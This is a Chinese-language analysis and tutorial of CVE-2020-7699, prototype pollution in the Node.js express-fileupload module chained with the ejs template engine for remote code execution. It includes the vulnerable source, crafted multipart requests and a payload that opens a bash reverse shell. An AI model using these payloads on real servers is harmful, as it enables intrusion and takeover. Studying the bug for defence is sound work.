如何进行CVE-2020-7699的漏洞分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
CVE-2020-7699:NodeJS模块代码注入
该漏洞完全是由于Nodejs的express-fileupload模块引起,该模块的1.1.8之前的版本存在原型链污染(Prototype Pollution)漏洞,当然,引发该漏洞,需要一定的配置:parseNested选项设置为true
该漏洞可以引发DOS拒绝服务攻击,配合ejs模板引擎,可以达到RCE的目的
如果想要复现的话,需要下载低版本的express-fileupload模块
npm i express-fileupload@1.1.7-alpha.4
引起漏洞的源代码:(关键部分)
busboy.on('finish', () => { debugLog(options, `Busboy finished parsing request.`); if (options.parseNested) { req.body = processNested(req.body); req.files = processNested(req.files); } if (!req[waitFlushProperty]) return next(); Promise.all(req[waitFlushProperty]) .then(() => { delete req[waitFlushProperty]; next(); }).catch(err => { delete req[waitFlushProperty]; debugLog(options, `Error while waiting files flush: ${err}`); next(err); }); });
function processNested(data){ if (!data || data.length < 1) return {}; let d = {}, keys = Object.keys(data); //获取键名,列表 for (let i = 0; i < keys.length; i++) { let key = keys[i], value = data[key], current = d, keyParts = key .replace(new RegExp(/\[/g), '.') .replace(new RegExp(/\]/g), '') .split('.'); for (let index = 0; index < keyParts.length; index++){ let k = keyParts[index]; if (index >= keyParts.length - 1){ current[k] = value; } else { if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {}; current = current[k]; } } } return d; };
其实引发原型链污染处就在于这个porcessNested方法,该函数用法:
例如: 传入的参数是:{"a.b.c":"m1sn0w"} 通过这个函数后,返回的是"{ a: { b: { c: 'm1sn0w' } } } 其实他跟那个merge函数比较类似,都是循环调用,因此存在原型链污染 传入参数:{"__proto__.m1sn0w":"m1sn0w"} 然后我们调用console.log(Object.__proto__.m1sn0w) 返回的值为m1sn0w
到这里,就比较清楚,只要调用processNested这个函数,并且如果函数的参数可控,便可达到原型链污染的目的。所以,这里就要介绍该漏洞形成的先决条件,parseNested配置选项要设置为true,例如:
const fileUpload = require('express-fileUpload') var express = require('express') app = express() app.use(fileUpload({ parseNested: true })) app.get('/',(req,res)=>{ res.end("m1sn0w") })
观察最上方第一部分代码,如果parseNested参数为true,则调用processNested函数,且参数是req.body或者req.files
req.body是nodejs解析post请求体,req.files获取上传文件的信息
两种方法都可以。这里先使用req.files参数(后面的RCE会使用到req.body)
关于req.files参数,例如:POST请求上传文件
POST / HTTP/1.1 Host: 192.168.0.101:7778 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.101:7778/ Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: 336 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt" Content-Type: text/plain aaa -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="username" -----------------------------1546646991721295948201928333--
可以观察到req.files的值为:
{ upload: { name: 'm1sn0w.txt', data: <Buffer 61 61 61 0a>, size: 4, encoding: '7bit', tempFilePath: '', truncated: false, mimetype: 'text/plain', md5:'......' mv: [Function: mv] } }
更改上面的upluod参数为
__proto__.toString 那么结果就会变回: { __proto__.toString:{ ...... } }
由于设置了parseNested,会自动调用processNested函数,因此就造成了原型链的污染。
相当于:
{}[__proto__][toString] = { ...... }
当我们再次访问页面时,会返回500的错误(因为toString方法改变了)
ejs模板引擎存在一个利用原型污染,进行RCE的一个漏洞(这个漏洞暂时还没有修复,可能是因为利用的先决条件是要存在一个原型链污染的点)
先分析一下ejs引发此漏洞的源码:(这里提取出了关键部分)
compile: function () { /** @type {string} */ var src; /** @type {ClientFunction} */ var fn; var opts = this.opts; var prepended = ''; var appended = ''; /** @type {EscapeCallback} */ var escapeFn = opts.escapeFunction; /** @type {FunctionConstructor} */ var ctor; if (!this.source) { this.generateSource(); prepended += ' var __output = "";\n' + ' function __append(s) { if (s !== undefined && s !== null) __output += s }\n'; if (opts.outputFunctionName) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; } if (opts.destructuredLocals && opts.destructuredLocals.length) { var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n'; for (var i = 0; i < opts.destructuredLocals.length; i++) { var name = opts.destructuredLocals[i]; if (i > 0) { destructuring += ',\n '; } destructuring += name + ' = __locals.' + name; } prepended += destructuring + ';\n'; } if (opts._with !== false) { prepended += ' with (' + opts.localsName + ' || {}) {' + '\n'; appended += ' }' + '\n'; } appended += ' return __output;' + '\n'; this.source = prepended + this.source + appended; } } src = this.source ctor = Function fn = new ctor(opts.localsName + ', escapeFn,include,rethrow',src); fn.apply(opts.context,[data || {},escapeFn,include,rethrow]);
可以从下往上进行分析:
调用了fn方法,如果src参数可控,那么就可以自定义该函数;
src参数的值来源于this.source
从最上面的方法,this.source = prepended + this.source + appended
其实上面整个函数都是在拼接this.source,最关键的部分在这里:
if (!this.source) { this.generateSource(); prepended += ' var __output = "";\n' + ' function __append(s) { if (s !== undefined && s !== null) __output += s }\n'; if (opts.outputFunctionName) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; } }
利用的其实是这个:
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
通过全局分析,opts.outputFunctionName最初是并没有赋值的,如果存在原型链污染漏洞的话,我们可以自定义构造这个值,构造payload:
opts.outputFunctionName = x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x
仔细观察一下,为什么要x;开头x结尾呢?其实是对上面的拼接,构成一个完整的js语句
现在来看一看如何通过上面的原型链污染来利用ejs达到RCE
这里利用的就是req.body而不是req.files
例如,这里构造POST请求:
POST / HTTP/1.1 Host: 192.168.0.101:7778 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.101:7778/ Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: 339 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt" Content-Type: text/plain aaa -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="username" 123 -----------------------------1546646991721295948201928333--
通过req.body返回的是
{ username : '123' }
我们将上面的username改为
__proto__.outputFunctionName
123的值改为:
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x
当我们再次发起请求时,便会在指定的主机反弹回来一个shell,从而达到RCE的目的
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。